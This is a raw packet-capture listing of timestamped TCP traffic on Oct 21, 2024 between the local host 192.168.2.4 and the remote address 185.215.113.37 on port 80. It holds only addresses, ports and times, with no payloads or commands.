Oct 21, 2024 09:06:18.244606972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.244925976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.244954109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.244986057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.245006084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.278808117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.278841972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.278876066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.278896093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.278920889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279023886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279058933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279081106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279124975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279298067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279330969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279350996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279408932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279588938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279616117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279659033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279659033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279702902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279755116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.279949903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.279979944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280013084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280062914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.280097961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.280356884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280404091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280422926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.280451059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.280478001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280512094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280546904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.280580044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.280599117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.280651093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.281296015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.281330109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.281361103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.281377077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.281400919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.281431913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.281462908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.281482935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.281511068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.281533957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.281589985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.282107115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282138109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282171965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282193899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.282222033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.282243967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282279015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282325029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.282872915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282905102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282937050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.282977104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.282994986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.283025026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.283082962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.283097029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.283128023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.283813953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.283847094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.283879995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.283901930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.283930063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.283953905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.283984900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284018993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284041882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.284302950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.284692049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284723997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284755945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284775972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.284806967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284826994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.284858942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.284874916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284909010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.284929991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.284957886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.285607100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.285640001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.285661936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.285685062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.285707951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.285741091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.285759926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.285790920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.285811901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.285845041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.285865068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.285892963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.286241055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.286273003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.286293030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.286319971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.362263918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.367311001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643003941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643100023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643115997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643134117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643241882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643286943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643346071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643405914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643420935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643457890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643476009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643527031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643667936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643696070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643718958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643743038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643769979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643801928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.643824100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.643848896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.644073009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644249916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644282103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644318104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.644335985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644356966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.644391060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.644408941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644442081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644495964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.644911051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644942045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.644963980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.644990921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645015955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645046949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645070076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645106077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645136118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645193100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645206928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645245075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645258904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645307064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645778894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645809889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645837069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645857096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645883083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645915031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.645936012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645967007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.645986080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646018982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646039963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.646070957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.646716118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646749020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646771908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.646797895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.646822929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646857023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646877050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.646908998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.646924973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646959066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.646979094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.647011995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.647465944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.647496939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.647520065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.647546053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.647572041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.647603035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.647622108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.647667885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.647690058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.647738934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.763839960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764086962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764120102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764168024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.764203072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.764230013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764432907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764465094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764504910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.764524937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.764554977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764586926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764606953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.764636040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.764939070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.764971018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765002012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765018940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765043020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765100956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765115023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765161037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765590906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765620947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765640974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765665054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765691042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765718937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765741110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765764952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765794039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765840054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765862942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765894890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.765916109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.765942097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766531944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766563892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766587019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766613007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766637087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766669989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766689062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766717911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766741037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766772032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766791105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766818047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.766843081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.766895056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767463923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767496109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767518044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767543077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767568111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767605066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767623901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767662048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767676115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767714977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767729044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767760038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.767779112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.767832041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768405914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768451929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768482924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768502951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768532038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768556118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768587112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768609047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768639088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768661022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768692017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768711090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768742085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.768763065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.768810987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.769351006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.769383907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.769426107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.769443035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.769443035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.769490004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.769521952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.769542933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.769579887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.769608021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.769655943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770287037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770338058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770354986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770386934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770406961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770436049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770458937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770490885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770510912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770538092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770560980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770595074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.770613909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.770641088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771267891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771300077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771325111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771343946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771372080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771415949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771440029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771471024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771492004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771512985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771543026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771574974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.771595955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771617889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.771970034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772027016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772042036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.772073030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.772093058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772125006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772145987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.772167921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.772196054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772228003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772248983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.772275925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.772298098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.772350073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.807611942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.807666063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.807755947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.884157896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884191036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884207964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884231091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.884248018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884260893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.884293079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.884406090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884421110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884435892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884447098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.884460926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:18.884471893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:18.884495974 CEST	49730	80	192.168.2.4	185.215.113.37
